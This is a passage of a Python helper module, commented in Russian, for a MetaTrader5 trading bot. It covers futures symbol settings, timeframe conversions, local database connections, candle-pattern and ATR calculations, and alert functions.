pickle\n\n\"\"\"~~~~~~~~~~~~~~~~~~~~~~~~~~~Настройки создания первичного проекта базы данных~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\"\"\nstart_tf = 60\nfinish_tf = 3600\nstep_tf_sec = 15\ndate_contracts = \"-9.21\"\nshort_code = \"U1\"\nsymbols_splice_list = ['SBRF Splice', 'GOLD Splice', 'GAZR Splice', 'Si Splice', 'RTS Splice', 'ED Splice', 'Eu Splice',\n 'LKOH Splice', 'ROSN Splice', 'MXI Splice', 'VTBR Splice']\nsymbols_collect = {\n 'fuchers': [\n {'big_vol_glass': 3000, 'long_code': f'Si{date_contracts}', 'short_code': f'Si{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000}, # было 10000\n {'big_vol_glass': 600, 'long_code': f'SBRF{date_contracts}', 'short_code': f'SR{short_code}', 'big_bar_vol': 3000, 'big_delta': 1200, 'big_oi': 1200}, # было 1500\n {'big_vol_glass': 600, 'long_code': f'GAZR{date_contracts}', 'short_code': f'GZ{short_code}', 'big_bar_vol': 3000, 'big_delta': 1200, 'big_oi': 1200}, # было 1000\n {'big_vol_glass': 0, 'long_code': f'GOLD{date_contracts}', 'short_code': f'GD{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'RTS{date_contracts}', 'short_code': f'Ri{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'ED{date_contracts}', 'short_code': f'ED{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'Eu{date_contracts}', 'short_code': f'Eu{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'LKOH{date_contracts}', 'short_code': f'LH{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'ROSN{date_contracts}', 'short_code': f'RN{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'MXI{date_contracts}', 'short_code': f'MXI{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000},\n {'big_vol_glass': 0, 'long_code': f'VTBR{date_contracts}', 'short_code': f'VB{short_code}', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000}\n ],\n 'stocks': [\n {'big_vol_glass': 10000, 'long_code': 'SBER', 'short_code': 'SBER', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000}, # было 40000\n {'big_vol_glass': 10000, 'long_code': 'GAZP', 'short_code': 'GAZP', 'big_bar_vol': 10000, 'big_delta': 10000, 'big_oi': 10000}, # было 40000\n ]\n}\n\ndef get_symbol_description_dict():\n \"\"\"Метод получает заданное описание символа и создает доступ к этому описанию по типу ключ значение\"\"\"\n big_vol = {}\n for var_symbol in list(symbols_collect.keys()):\n for symbol_description in symbols_collect[var_symbol]:\n big_vol[symbol_description['short_code']] = symbol_description\n return big_vol\n\nfuchers_code_to_fuchers_name = {'SR': 'SBRF', 'GD': 'GOLD', 'GZ': 'GAZR', 'Si': 'Si', 'Ri': 'RTS', 'ED': 'ED',\n 'Eu': 'Eu', 'LH': 'LKOH', 'RN': 'ROSN'}\nfuchers_mcode_to_fuchers_month = {'H': 3, 'M': 6, 'U': 9, 'Z': 12}\nfuchers_fuchers_month_to_mcode = {3: 'H', 6: 'M', 9: 'U', 12: 'Z'}\n\nsymbols_splice_fuchers_dict = {'SBRF Splice': f'SBRF{date_contracts}', 'GOLD Splice': f'GOLD{date_contracts}',\n 'GAZR Splice': f'GAZR{date_contracts}', 'Si Splice': f'Si{date_contracts}',\n 'RTS Splice': f'RTS{date_contracts}', 'ED Splice': f'ED{date_contracts}',\n 'Eu Splice': f'Eu{date_contracts}', 'LKOH Splice': f'LKOH{date_contracts}',\n 'ROSN Splice': f'ROSN{date_contracts}', 'MXI Splice': f'MXI{date_contracts}',\n 'VTBR Splice': f'VTBR{date_contracts}'}\n\nstart_date_default = [2020, 6, 19, 0, 0, 0]\nfinish_date_default = [None, (2020, 6, 10, 3, 0, 0)]\n\ndirection_bar_dict = {'down_bar': 'down_bar', 'up_bar': 'up_bar', 'doj_bar': 'doj_bar'}\nreverse_direction_bar_dict = {'down_bar': 'up_bar', 'up_bar': 'down_bar', 'doj_bar': 'doj_bar'}\nreverse_direction_simple_dict = {'down': 'up', 'up': 'down'}\ncurrency_list = ['EUR', 'USD', 'CAD', 'JPY', 'NZD', 'CHF', 'AUD', 'GBP']\nfull_tfs_enum_dict = {mt5.TIMEFRAME_M1: \"tf_M1\", mt5.TIMEFRAME_M2: \"tf_M2\", mt5.TIMEFRAME_M3: \"tf_M3\",\n mt5.TIMEFRAME_M4: \"tf_M4\", mt5.TIMEFRAME_M5: \"tf_M5\", mt5.TIMEFRAME_M6: \"tf_M6\",\n mt5.TIMEFRAME_M10: \"tf_M10\", mt5.TIMEFRAME_M12: \"tf_M12\", mt5.TIMEFRAME_M15: \"tf_M15\",\n mt5.TIMEFRAME_M20: \"tf_M20\", mt5.TIMEFRAME_M30: \"tf_M30\", mt5.TIMEFRAME_H1: \"tf_H1\",\n mt5.TIMEFRAME_H2: \"tf_H2\", mt5.TIMEFRAME_H3: \"tf_H3\", mt5.TIMEFRAME_H4: \"tf_H4\",\n mt5.TIMEFRAME_H6: \"tf_H6\", mt5.TIMEFRAME_H8: \"tf_H8\", mt5.TIMEFRAME_H12: \"tf_H12\",\n mt5.TIMEFRAME_D1: \"tf_D1\", mt5.TIMEFRAME_W1: \"tf_W1\", mt5.TIMEFRAME_MN1: \"tf_MN1\"}\nfull_tfs_enum_list = [mt5.TIMEFRAME_M1, mt5.TIMEFRAME_M2, mt5.TIMEFRAME_M3, mt5.TIMEFRAME_M4, mt5.TIMEFRAME_M5,\n mt5.TIMEFRAME_M6, mt5.TIMEFRAME_M10, mt5.TIMEFRAME_M12, mt5.TIMEFRAME_M15, mt5.TIMEFRAME_M20,\n mt5.TIMEFRAME_M30, mt5.TIMEFRAME_H1, mt5.TIMEFRAME_H2, mt5.TIMEFRAME_H3, mt5.TIMEFRAME_H4,\n mt5.TIMEFRAME_H6, mt5.TIMEFRAME_H8, mt5.TIMEFRAME_H12, mt5.TIMEFRAME_D1, mt5.TIMEFRAME_W1,\n mt5.TIMEFRAME_MN1]\nfull_tfs_in_sec_dict = {mt5.TIMEFRAME_M1: 60, mt5.TIMEFRAME_M2: 120, mt5.TIMEFRAME_M3: 180,\n mt5.TIMEFRAME_M4: 240, mt5.TIMEFRAME_M5: 300, mt5.TIMEFRAME_M6: 360,\n mt5.TIMEFRAME_M10: 600, mt5.TIMEFRAME_M12: 720, mt5.TIMEFRAME_M15: 900,\n mt5.TIMEFRAME_M20: 1200, mt5.TIMEFRAME_M30: 1800, mt5.TIMEFRAME_H1: 3600,\n mt5.TIMEFRAME_H2: 7200, mt5.TIMEFRAME_H3: 10800, mt5.TIMEFRAME_H4: 14400,\n mt5.TIMEFRAME_H6: 21600, mt5.TIMEFRAME_H8: 28800, mt5.TIMEFRAME_H12: 43200,\n mt5.TIMEFRAME_D1: 86400, mt5.TIMEFRAME_W1: 432000, mt5.TIMEFRAME_MN1: 1944000}\nfull_sec_in_tfs_dict = {60: mt5.TIMEFRAME_M1, 120: mt5.TIMEFRAME_M2, 180: mt5.TIMEFRAME_M3,\n 240: mt5.TIMEFRAME_M4, 300: mt5.TIMEFRAME_M5, 360: mt5.TIMEFRAME_M6,\n 600: mt5.TIMEFRAME_M10, 720: mt5.TIMEFRAME_M12, 900: mt5.TIMEFRAME_M15,\n 1200: mt5.TIMEFRAME_M20, 1800: mt5.TIMEFRAME_M30, 3600: mt5.TIMEFRAME_H1,\n 7200: mt5.TIMEFRAME_H2, 10800: mt5.TIMEFRAME_H3, 14400: mt5.TIMEFRAME_H4,\n 21600: mt5.TIMEFRAME_H6, 28800: mt5.TIMEFRAME_H8, 43200: mt5.TIMEFRAME_H12,\n 86400: mt5.TIMEFRAME_D1, 432000: mt5.TIMEFRAME_W1, 1944000: mt5.TIMEFRAME_MN1}\n\nlist_best_tf = [mt5.TIMEFRAME_H1, mt5.TIMEFRAME_H2, mt5.TIMEFRAME_H3, mt5.TIMEFRAME_H4,\n mt5.TIMEFRAME_H6, mt5.TIMEFRAME_H8, mt5.TIMEFRAME_H12, mt5.TIMEFRAME_D1]\nmx_dict_st_point = {0: 1, 1: 1, 2: 10, 3: 100, 4: 1000, 5: 10000}\nmx_dict_full_point = {0: 1, 1: 10, 2: 100, 3: 1000, 4: 10000, 5: 100000}\n\ncolumns_in_table_bd = ['time_frame', 'symbol', 'tf', 'time_open', 'time_close', 'price_high',\n 'price_open', 'price_close', 'price_low', 'volume_real']\n\ncolumns_in_table_bd_with_id = ['id', 'time_frame', 'symbol', 'tf', 'time_open', 'time_close', 'high',\n 'open', 'close', 'low', 'volume_real']\n\n\ndef get_name_tables():\n list_name_general_tables = ['tb_symbol_name', 'tb_tf_name', 'tb_common']\n name_table_symbols = list_name_general_tables[0]\n name_table_tfs = list_name_general_tables[1]\n name_table_common = list_name_general_tables[2]\n return name_table_symbols, name_table_tfs, name_table_common\n\n\ndef get_name_general_columns():\n list_columns_general_tables = ['symbol_name', 'tf_name', 'column_names_sym_tf']\n column_symbols = list_columns_general_tables[0]\n column_tfs = list_columns_general_tables[1]\n column_names_sym_tf = list_columns_general_tables[2]\n return column_symbols, column_tfs, column_names_sym_tf\n\n\n\"\"\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Общие межскриптовые функции~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\"\"\n\n\ndef create_connect_db():\n \"\"\"Подключение к postgree sql\"\"\"\n conn = psycopg2.connect(dbname='FX_TimeFrame', user='postgres', password='123', host='localhost', port=5432)\n conn.autocommit = True\n cur = conn.cursor()\n return conn, cur\n\n\ndef close_connect_db(connect, cursor):\n \"\"\"Отключение от postgree sql\"\"\"\n cursor.close()\n connect.close()\n\n\ndef create_connect_db_sqlite3(terminal, file_path=\"\"):\n \"\"\"подключаюсь к бд sqlite3\"\"\"\n if terminal == 0:\n file_path = \"..\\\\Files\\\\lvl.sqlite3\"\n elif terminal == 1:\n file_path = \"C:\\\\Program Files\\\\Открытие Брокер\\\\MQL5\\Files\\\\lvl.sqlite3\"\n conn = sl3.connect(file_path)\n cur = conn.cursor()\n return conn, cur\n\n\ndef close_connect_db_sqlite3(connect, cursor):\n \"\"\"отключаюсь от бд\"\"\"\n connect.commit()\n cursor.close()\n connect.close()\n\n\ndef terminal_create_connect(terminal):\n if terminal == 0:\n terminal_path = \"C:\\\\Terminals\\\\Alpari_MT5_One\\\\terminal64.exe\"\n elif terminal == 1:\n terminal_path = \"C:\\\\Terminals\\\\Open_Broker\\\\terminal64.exe\"\n\n while not mt5.initialize(terminal_path):\n print('Ошибка соединения с терминалом MetaTrader5, пробую переподключиться')\n print(mt5.version())\n mt5.shutdown()\n time.sleep(1)\n\n\ndef terminal_close_connect():\n if mt5.shutdown():\n pass\n else:\n print('\\n')\n print('Ошибка закрытия соединения')\n\n\ndef create_alchemy_connect():\n return create_engine('postgresql+psycopg2://postgres:123@localhost/FX_TimeFrame')\n\n\ndef close_alchemy_connect(engine):\n engine.dispose()\n\n\n# def create_mysql_connect():\n# conn = mysql.connector.connect(host='127.0.0.1',database='market_data',\n# user='root',password='12345')\n# cur = conn.cursor()\n# return conn, cur\n\n\ndef close_mysql_connect(conn, cur):\n cur.close()\n conn.close()\n\n\ndef universal_request_to_bd(request, terminal, return_data=False):\n \"\"\"Функция выполняет указанный запрос, универсальная\"\"\"\n conn, cur = create_connect_db_sqlite3(terminal)\n cur.execute(request)\n if return_data:\n all_lines = cur.fetchall()\n close_connect_db_sqlite3(conn, cur)\n return all_lines\n close_connect_db_sqlite3(conn, cur)\n\n\ndef get_tf_sec_from_time(timedelta):\n timedelta_str_list = timedelta.split(':')\n seconds = int(timedelta_str_list[0]) * 3600 + int(timedelta_str_list[1]) * 60 + int(timedelta_str_list[2])\n return seconds\n\n\ndef get_tf_standart(timedelta):\n timedelta_str_list = str(timedelta).split(':')\n timedelta_str_list[0] = str(int(timedelta_str_list[0].split(' days ')[1]))\n tf = f\"tf_{timedelta_str_list[0]}_{timedelta_str_list[1]}_{timedelta_str_list[2]}\"\n return tf\n\n\ndef get_timedelta(tf):\n \"\"\"Получаю таймдельту из строки таймфрейма\"\"\"\n timedelta_str_list = tf.lstrip('tf_').replace('_', ':').split(':')\n seconds = int(timedelta_str_list[0])*3600 + int(timedelta_str_list[1])*60 + int(timedelta_str_list[2])\n return dt.timedelta(seconds=seconds)\n\n\ndef get_timedelta_sec(tf):\n \"\"\"Получаю секунды из строки таймфрейма\"\"\"\n timedelta_str_list = tf.lstrip('tf_').replace('_', ':').split(':')\n return int(timedelta_str_list[0])*3600 + int(timedelta_str_list[1])*60 + int(timedelta_str_list[2])\n\n\ndef get_tf_from_timedelta(sec):\n time_list = str(dt.timedelta(seconds=sec)).split(':')\n return f\"tf_{time_list[0]}_{time_list[1].lstrip('0')}_{time_list[2]}\"\n\n\ndef get_all_symbols():\n conn, cur = create_connect_db()\n name_table_symbols, name_table_tfs, name_table_common = get_name_tables()\n cur.execute(\n f\"select * from {name_table_symbols};\"\n )\n symbols_list_l = [symbol for id_symbol, symbol in cur.fetchall()]\n return symbols_list_l\n\n\ndef get_all_tfs():\n conn, cur = create_connect_db()\n name_table_symbols, name_table_tfs, name_table_common = get_name_tables()\n cur.execute(\n f\"select * from {name_table_tfs};\"\n )\n tfs_list = [tf for id_tf, tf in cur.fetchall()]\n return tfs_list\n\n\ndef save_object(what_save, full_name):\n with open(f\"{full_name}\", \"wb\") as f:\n p_obj = pickle.Pickler(f)\n p_obj.dump(what_save)\n\n\ndef load_object(full_name):\n with open(f\"{full_name}\", \"rb\") as f:\n p_obj = pickle.Unpickler(f)\n return p_obj.load()\n\n\ndef save_in_log_file(msg, full_file_name):\n with open(f\"{full_file_name}\", \"a+\") as f:\n f.write(f\"{msg}\\n\\n\")\n\n\ndef save_html(data, log, direct_pos='', add_time=False):\n with open(f'logs\\\\{log}.html', 'a') as f:\n f.write('<br>')\n if isinstance(data, pd.DataFrame):\n if add_time:\n f.write(str(dt.datetime.now()))\n data.to_html(buf=f)\n else:\n if not direct_pos == '':\n f.write(f\"{direct_pos}: {str(data)}\")\n else:\n f.write(str(data))\n\n\ndef get_line_splitter():\n line = ('~'*110)\n return line\n\n\ndef get_log_name(develop=False, ts_log=False, name_ts_log=''):\n time_tuple = dt.datetime.now().timetuple()\n if ts_log:\n return f'log_{name_ts_log}_{time_tuple.tm_year}-{time_tuple.tm_mon}-{time_tuple.tm_mday}'\n elif develop:\n return f'log_dev_{time_tuple.tm_year}-{time_tuple.tm_mon}-{time_tuple.tm_mday}'\n else:\n return f'log_{time_tuple.tm_year}-{time_tuple.tm_mon}-{time_tuple.tm_mday}'\n\n\ndef get_time_frame_marking(sec_tf):\n \"\"\"Возвращает список таймфрейм\"\"\"\n return [dt.datetime(dt.date.today().year, dt.date.today().month,\n dt.date.today().day) + dt.timedelta(seconds=sec_tf)*t for t in range(int(86400/sec_tf + 2))]\n\n\ndef get_time_control_counter(time_frame_list):\n \"\"\"Возвращает порядковый номер промежутка в котором находится время в текущий момент\"\"\"\n counter = 0\n while dt.datetime.now() > time_frame_list[counter]:\n counter += 1\n return counter - 1\n\n\ndef night_filter():\n \"\"\"Функция ночной фильтр времени\"\"\"\n time_now = dt.datetime.now()\n allowed_trade = False\n if (time_now.hour >= 9) and (time_now.hour < 20):\n allowed_trade = True\n return allowed_trade\n\n\ndef time_frame_control(main_tf_sec, func, tf_main=0, tm_sleep=30):\n \"\"\"стартовый контроль времени по указанному таймфрейму\"\"\"\n time_frame_list = get_time_frame_marking(sec_tf=main_tf_sec)\n tm_control_counter = get_time_control_counter(time_frame_list)\n\n \"\"\"основной программный цикл\"\"\"\n while True:\n if dt.datetime.now() > time_frame_list[tm_control_counter]:\n \"\"\"Блок запуска функций\"\"\"\n tm_control_counter += 1\n func(tf_main)\n print(dt.datetime.now(), time_frame_list[tm_control_counter], tm_control_counter)\n\n \"\"\"Конец блока запуска функций\"\"\"\n\n if tm_control_counter == len(time_frame_list) - 1:\n time_frame_list = get_time_frame_marking(sec_tf=main_tf_sec)\n tm_control_counter = get_time_control_counter(time_frame_list)\n time.sleep(tm_sleep)\n\n\ndef get_open_mini_show(row):\n \"\"\"функция возвращает является ли указанный бар опен мини\"\"\"\n percent = (row.at['high']-row.at['low'])*0.15\n if row.at['close'] < row.at['open']:\n rz = row.at['high']-row.at['open']\n if rz <= percent:\n return True\n else:\n return False\n elif row.at['close'] > row.at['open']:\n rz = row.at['open']-row.at['low']\n if rz <= percent:\n return True\n else:\n return False\n else:\n return False\n\n\ndef get_direction_bar(pr_open, pr_close):\n \"\"\"Функция возвращает направление бара\"\"\"\n direct_bar = pr_open - pr_close\n if direct_bar > 0:\n return direction_bar_dict['down_bar']\n elif direct_bar < 0:\n return direction_bar_dict['up_bar']\n elif direct_bar == 0:\n return direction_bar_dict['doj_bar']\n\n\ndef get_percent_price(price, percent_0, percent_25, percent_50, percent_75, percent_100):\n \"\"\"Вспомогательная функция get_bar_variant\"\"\"\n pr_bar = 0\n if (price >= percent_0) and (price < percent_25):\n pr_bar = 25\n elif (price >= percent_25) and (price < percent_50):\n pr_bar = 50\n elif (price >= percent_50) and (price < percent_75):\n pr_bar = 75\n elif (price >= percent_75) and (price <= percent_100):\n pr_bar = 99\n return pr_bar\n\n\ndef get_bar_variant(row):\n \"\"\"функция определяющая вариант переданной на анализ свечи(строки датафрейма)\"\"\"\n high_low = row.at['high'] - row.at['low']\n high_low_25per = high_low / 4\n\n percent_0 = row.at['low']\n percent_25 = percent_0 + high_low_25per\n percent_50 = percent_0 + high_low_25per * 2\n percent_75 = percent_0 + high_low_25per * 3\n percent_100 = row.at['high']\n\n pr_close = row.at['close']\n pr_open = row.at['open']\n op_bar = get_percent_price(pr_open, percent_0, percent_25, percent_50, percent_75, percent_100)\n cl_bar = get_percent_price(pr_close, percent_0, percent_25, percent_50, percent_75, percent_100)\n return f\"{op_bar}_{cl_bar}\"\n\n\ndef get_bar_variant_10(row):\n \"\"\"функция определяющая 10% вариант переданной на анализ свечи(строки датафрейма)\"\"\"\n high_low = row.at['high'] - row.at['low']\n high_low_10_percent = high_low / 10\n list_price = [row.at['open'], row.at['close']]\n for n_price in range(len(list_price)):\n for i in range(1, 11):\n high_border = high_low_10_percent * i + row.at['low']\n low_border = high_low_10_percent * (i-1) + row.at['low']\n if (list_price[n_price] >= low_border) and (list_price[n_price] <= high_border):\n list_price[n_price] = (i-1) * 10\n return f\"{list_price[0]}_{list_price[1]}\"\n\n\ndef dop_columns_for_rates(df):\n \"\"\"Функция дополняющая Rates DF дополнительными постоянно используемыми столбцами\"\"\"\n df['open_mini'] = df.apply(get_open_mini_show, axis=1)\n df['bar_direct'] = df.apply(lambda row: get_direction_bar(row.at['open'], row.at['close']), axis=1)\n df['bar_var'] = df.apply(lambda row: get_bar_variant(row), axis=1)\n df['atr_bar'] = df.apply(lambda row: row.at['high'] - row.at['low'], axis=1)\n df['hour'] = df.apply(lambda row: row.at['time'].hour, axis=1)\n df['minute'] = df.apply(lambda row: row.at['time'].minute, axis=1)\n df['weekday'] = df.apply(lambda row: row.at['time'].weekday(), axis=1)\n df['date'] = df.apply(lambda row: dt.datetime(row.at['time'].year, row.at['time'].month, row.at['time'].day), axis=1)\n df['bar_var_10'] = df.apply(get_bar_variant_10, axis=1)\n return df\n\n\ndef get_bars_one_tf(symbol, tf_e, start_pos_or_date_bar, qv_bars, terminal, copy_date=False):\n \"\"\"Получаю датафрейм с барами один символ и один таймфрейм\"\"\"\n count = 0\n rates_frame = pd.DataFrame()\n if symbol_is_format_code(symbol):\n symbol = get_symbol_format_terminal(symbol)\n while rates_frame.empty:\n terminal_create_connect(terminal)\n count += 1\n if not copy_date:\n rates_frame = pd.DataFrame(mt5.copy_rates_from_pos(symbol, tf_e, start_pos_or_date_bar, qv_bars))\n elif copy_date:\n rates_frame = pd.DataFrame(mt5.copy_rates_range(symbol, tf_e, start_pos_or_date_bar, qv_bars))\n terminal_close_connect()\n if count >= 2:\n print(f\"пробую получить данные с терминала get_bars_one_tf...{count}\")\n terminal_close_connect()\n if count >= 30:\n print(\"ошибка получения данных с терминала get_bars_one_tf... Более 30 неудачных попыток\")\n break\n # создадим из полученных данных DataFrame\n rates_frame['symbol'] = symbol\n rates_frame['tf'] = full_tfs_enum_dict[tf_e]\n rates_frame['tf_int'] = tf_e\n rates_frame['tf_sec'] = full_tfs_in_sec_dict[tf_e]\n if not rates_frame.empty:\n rates_frame['time'] = pd.to_datetime(rates_frame['time'], unit='s')\n rates_frame = dop_columns_for_rates(rates_frame)\n symbol_info = get_symbol_info(symbol, terminal)\n return rates_frame, symbol_info\n terminal_close_connect()\n return pd.DataFrame(), None\n\n\n\"\"\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ATR индикаторы~~~~~~~~~~~~~~~~~~~~~~~~~\"\"\"\n\n\ndef get_atr_bar_and_atr_fractals_mean(rates_frame, period, digits):\n \"\"\"Функция считает АТР за указанный период и присваивает его значение бару от которого был произведен отсчет\n далее считает фракталы от АТР, возвращает основной ДФ с дополнениями и среднее значение фракталов.\n \"\"\"\n rates_frame[f'atr_{period}'] = 0\n rates_frame[f'atr_fr_low_{period}'] = False\n rates_frame[f'atr_fr_high_{period}'] = False\n\n \"\"\"Получаю атр каждого бара\"\"\"\n for n_row in rates_frame.index:\n if n_row < period:\n continue\n sum_dif = 0\n for n_bar in range(period):\n dif_high_low = rates_frame.iloc[n_row-n_bar].at['high'] - rates_frame.iloc[n_row-n_bar].at['low']\n sum_dif += dif_high_low\n atr_one_period = round(sum_dif / period, digits)\n rates_frame.loc[n_row, f'atr_{period}'] = atr_one_period\n\n \"\"\"Получаю столбец является ли фракталом АТР бар\"\"\"\n for index_row in rates_frame.index:\n if (index_row < 1) or (index_row >= len(rates_frame.index)-2):\n continue\n if (rates_frame.loc[index_row-1, f'atr_{period}'] > rates_frame.loc[index_row, f'atr_{period}']) and \\\n (rates_frame.loc[index_row+1, f'atr_{period}'] > rates_frame.loc[index_row, f'atr_{period}']) and \\\n (rates_frame.loc[index_row+2, f'atr_{period}'] > rates_frame.loc[index_row+1, f'atr_{period}']):\n rates_frame.loc[index_row, f'atr_fr_low_{period}'] = True\n if (rates_frame.loc[index_row-1, f'atr_{period}'] < rates_frame.loc[index_row, f'atr_{period}']) and \\\n (rates_frame.loc[index_row+1, f'atr_{period}'] < rates_frame.loc[index_row, f'atr_{period}']) and \\\n (rates_frame.loc[index_row+2, f'atr_{period}'] < rates_frame.loc[index_row+1, f'atr_{period}']):\n rates_frame.loc[index_row, f'atr_fr_high_{period}'] = True\n\n \"\"\"Получаю срез по фракталам АТР и далее считаю среднее.\"\"\"\n atr_fr_high = rates_frame.loc[rates_frame[f'atr_fr_high_{period}']]\n atr_fr_low = rates_frame.loc[rates_frame[f'atr_fr_low_{period}']]\n max_atr = round(atr_fr_high[f'atr_{period}'].mean(), digits)\n min_atr = round(atr_fr_low[f'atr_{period}'].mean(), digits)\n\n \"\"\"Получаю атр последних 3 баров\"\"\"\n last_atr = round(rates_frame[-3:][f'atr_{period}'].mean(), digits)\n\n \"\"\"Считаю средний атр по таймфрейму\"\"\"\n mean_atr_tf = round((max_atr+min_atr)/2, digits)\n return rates_frame, last_atr, mean_atr_tf, max_atr, min_atr\n\n\ndef get_account_info(terminal):\n \"\"\"Функция получает все параметры счета.\"\"\"\n terminal_create_connect(terminal)\n account_info = mt5.account_info()\n while not account_info:\n account_info = mt5.account_info()\n print(\"Не могу получить информацию об аккаунте get_account_info\")\n terminal_close_connect()\n return account_info._asdict()\n\n\ndef get_symbol_info(symbol, terminal):\n \"\"\"Функция получает все параметры символа.\"\"\"\n terminal_create_connect(terminal)\n if symbol_is_format_code(symbol):\n symbol = get_symbol_format_terminal(symbol)\n symbol_info = mt5.symbol_info(symbol)\n while not symbol_info:\n terminal_close_connect()\n terminal_create_connect(terminal)\n symbol_info = mt5.symbol_info(symbol)\n print(\"Не могу получить информацию об символе get_symbol_info\")\n terminal_close_connect()\n terminal_close_connect()\n return symbol_info._asdict()\n\n\n# def get_correct_symbol_sequence(terminal, fuchers=False):\n# \"\"\"возвращает правильную последовательность символов в зависимости от терминала\"\"\"\n# if terminal == 1:\n# if fuchers:\n# return symbols_fuchers_list[3:4]\n# return symbols_splice_list[:4]\n\n\ndef get_symbol_var(symbol):\n \"\"\"функция переводящая имя фьючерса в имя для базы данных\"\"\"\n return [symbol, symbol.replace('-', '_').replace('.', '_')]\n\n\ndef update_atr_global_lib(n_terminal):\n \"\"\"функция от get_atr_last_bar, обновляет библиотку средней волатильности\"\"\"\n if os.path.isfile(\"additional_files\\\\atr_global_lib.lib\"):\n atr_global_lib = load_object(\"additional_files\\\\atr_global_lib.lib\")\n else:\n atr_global_lib = {}\n\n if n_terminal == 1:\n symbol_list = symbols_splice_list\n\n for symbol in symbol_list:\n atr_global_lib[symbol] = {}\n for tf in full_tfs_enum_list:\n df_one_bar, symbol_info = get_bars_one_tf(symbol, tf, 1, 250, n_terminal)\n mean_atr = round(df_one_bar.atr_bar.mean(), symbol_info['digits'])\n atr_global_lib[symbol][full_tfs_enum_dict[tf]] = {'atr': mean_atr}\n print(atr_global_lib)\n save_object(atr_global_lib, \"additional_files\\\\atr_global_lib.lib\")\n\n\ndef get_atr_global_lib(terminal):\n \"\"\"Функция подключает глобальную АТР библиотеку, если ее не нашел на диске значит создает заново\"\"\"\n if os.path.isfile(\"additional_files\\\\atr_global_lib.lib\"):\n atr_global_lib = load_object(\"additional_files\\\\atr_global_lib.lib\")\n else:\n print(\"Нет библиотеки с АТР. Запускаю ��крипт ее создания.\")\n update_atr_global_lib(terminal)\n atr_global_lib = load_object(\"additional_files\\\\atr_global_lib.lib\")\n return atr_global_lib\n\n\n\"\"\"**********************************************Алертблок********************************\"\"\"\n\n\ndef play_alert(file_name='file.mp3', duration_secs=2):\n soundfile = 'additional_files\\\\audio\\\\'+file_name\n mixer.init()\n mixer.music.load(soundfile)\n mixer.music.play()\n time.sleep(duration_secs)\n mixer.music.stop()\n mixer.quit()\n\n\ndef logging(message, alert=False):\n \"\"\"функция оповещения\"\"\"\n send_message_bot(message)\n print(message)\n if alert:\n play_alert(file_name='error.mp3', duration_secs=3)\n\n\ndef global_alert_control_dict_init(global_alert_control_dict, strategy, symbol, tf):\n \"\"\"общая функция инициализирующая словарь контроля алертов\"\"\"\n if not global_alert_control_dict.get(strategy):\n global_alert_control_dict[strategy] = {symbol: {tf: {}}}\n elif not global_alert_control_dict.get(strategy).get(symbol):\n global_alert_control_dict[strategy][symbol] = {tf: {}}\n elif not global_alert_control_dict.get(strategy).get(symbol).get(tf):\n global_alert_control_dict[strategy][symbol][tf] = {}\n return global_alert_control_dict\n\n\ndef common_save_and_play(global_alert_control_dict, strategy, symbol, tf, alert_list_tuples, message=\"\",\n print_message=False, send_message=False):\n \"\"\"Функция объединяющая проверку словаря контроля, записи и алерта\"\"\"\n if not global_alert_control_dict[strategy][symbol][tf].get('time_control'):\n global_alert_control_dict = save_and_play(global_alert_control_dict, strategy, symbol, tf, alert_list_tuples,\n message=message, print_message=print_message,\n send_message=send_message)\n elif global_alert_control_dict[strategy][symbol][tf].get('time_control'):\n if global_alert_control_dict[strategy][symbol][tf]['time_control'] < dt.datetime.now():\n global_alert_control_dict = save_and_play(global_alert_control_dict, strategy, symbol, tf,\n alert_list_tuples, message=message, print_message=print_message,\n send_message=send_message)\n return global_alert_control_dict\n\n\ndef save_and_play(global_alert_control_dict, strategy, symbol, tf, alert_list_tuples, message=\"\",\n print_message=False, send_message=False):\n \"\"\"Общая фукция от для воспроизведения и контроля алертов\"\"\"\n for alert in alert_list_tuples:\n play_alert(file_name=alert[0], duration_secs=alert[1])\n global_alert_control_dict[strategy][symbol][tf]['time_control'] = dt.datetime.now() + \\\n dt.timedelta(seconds=int(full_tfs_in_sec_dict[tf] / 12))\n if print_message:\n print(message)\n if send_message:\n logging(message)\n return global_alert_control_dict\n\n\n\"\"\"******************************************Важные функции********************************\"\"\"\n\n# def alert_lvl_control(global_alert_control_dict, terminal, only_m1=False, alert=False):\n# \"\"\"Функция выдающая алерт при подходе к уровню, и возвращающая словарь с данными удара в уровень\"\"\"\n# symbol_list = get_correct_symbol_sequence(terminal, fuchers=True)\n# columns_bd_lvl = ['id', 'symbol', 'tf_int', 'tf_sec', 'lvl_price']\n# signals_dict = {}\n# for symbol in symbol_list:\n# symbol_var = get_symbol_var(symbol)\n# if terminal == 1: var = 1\n# elif terminal == 0: var = 0\n# try:\n# data = universal_request_to_bd(f\"select * from symbol_{symbol_var[var]};\", terminal, return_data=True)\n# except sl3.OperationalError:\n# print(f\"Ошибка получения датафрейма {symbol}\")\n# continue\n# df_bd = pd.DataFrame(data=data, columns=columns_bd_lvl)\n# set_lvl = set(df_bd.lvl_price.to_list())\n# tfs_in_pips_dict = {mt5.TIMEFRAME_M1: 3, mt5.TIMEFRAME_M2: 3, mt5.TIMEFRAME_M3: 3,\n# mt5.TIMEFRAME_M4: 3, mt5.TIMEFRAME_M5: 3, mt5.TIMEFRAME_M6: 3,\n# 